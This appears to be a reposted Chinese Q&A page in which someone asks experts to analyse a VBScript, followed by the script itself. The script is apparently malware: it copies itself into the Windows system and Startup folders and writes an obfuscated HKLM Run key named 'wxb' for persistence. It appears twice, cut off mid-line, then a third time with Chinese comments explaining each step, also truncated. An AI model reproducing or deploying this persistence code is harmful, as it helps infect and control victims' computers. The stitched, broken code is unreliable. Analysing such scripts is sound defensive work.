UC知道请高手分析一下这个程序
来源：百度知道 编辑：UC知道 时间：2024/09/24 21:29:13
Dim fs, dirwin, c,Wll, str,strr,r
Set fs = CreateObject("Scripting.FileSystemObject")
Set dirwin = fs.GetSpecialFolder(1)
Set Wll = WScript.CreateObject("WScript.Shell")
Set c = fs.GetFile(WScript.ScriptFullName)
str ="HK"&"LM\SOFT"&"WARE\Micr"&"osoft\Win"&"dows\Curren"&"tVersion\R"&"un\wxb"
if (fs.FileExists(dirwin&"\wxb.vbs")) Then
call Show_And_Do("reg")
elseif (fs.FileExists("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")) Then
call Show_And_Do("Startup")
else
On Error Resume Next
strr=""
Wll.RegWrite str, "C:\WINDOWS\system32\wxb.vbs", "REG_SZ"
strr=Wll.Regread (str)
if strr="" then
c.Copy("C:\Documents and Settings\A
Set fs = CreateObject("Scripting.FileSystemObject")
Set dirwin = fs.GetSpecialFolder(1)
Set Wll = WScript.CreateObject("WScript.Shell")
Set c = fs.GetFile(WScript.ScriptFullName)
str ="HK"&"LM\SOFT"&"WARE\Micr"&"osoft\Win"&"dows\Curren"&"tVersion\R"&"un\wxb"
if (fs.FileExists(dirwin&"\wxb.vbs")) Then
call Show_And_Do("reg")
elseif (fs.FileExists("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")) Then
call Show_And_Do("Startup")
else
On Error Resume Next
strr=""
Wll.RegWrite str, "C:\WINDOWS\system32\wxb.vbs", "REG_SZ"
strr=Wll.Regread (str)
if strr="" then
c.Copy("C:\Documents and Settings\A
'定义几个变量
Dim fs, dirwin, c,Wll, str,strr,r
'创建文件操作组件对象fs
Set fs = CreateObject("Scripting.FileSystemObject")
'获得指定文件夹(System 文件夹)操作对象
Set dirwin = fs.GetSpecialFolder(1)
'创建shell对象
Set Wll = WScript.CreateObject("WScript.Shell")
'获得当前脚本文件操作对象
Set c = fs.GetFile(WScript.ScriptFullName)
'给字符串赋值
str ="HK"&"LM\SOFT"&"WARE\Micr"&"osoft\Win"&"dows\Curren"&"tVersion\R"&"un\wxb"
'判断System 文件夹下是否有wxb.vbs
if (fs.FileExists(dirwin&"\wxb.vbs")) Then
'有的话调用Show_And_Do
call Show_And_Do("reg")
'否则是判断开始菜单 程序 启动 中否有wxb.vbs,
elseif (fs.FileExists("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")) Then
'有就调用Show_And_Do
call Show_And_Do("Startup")
else <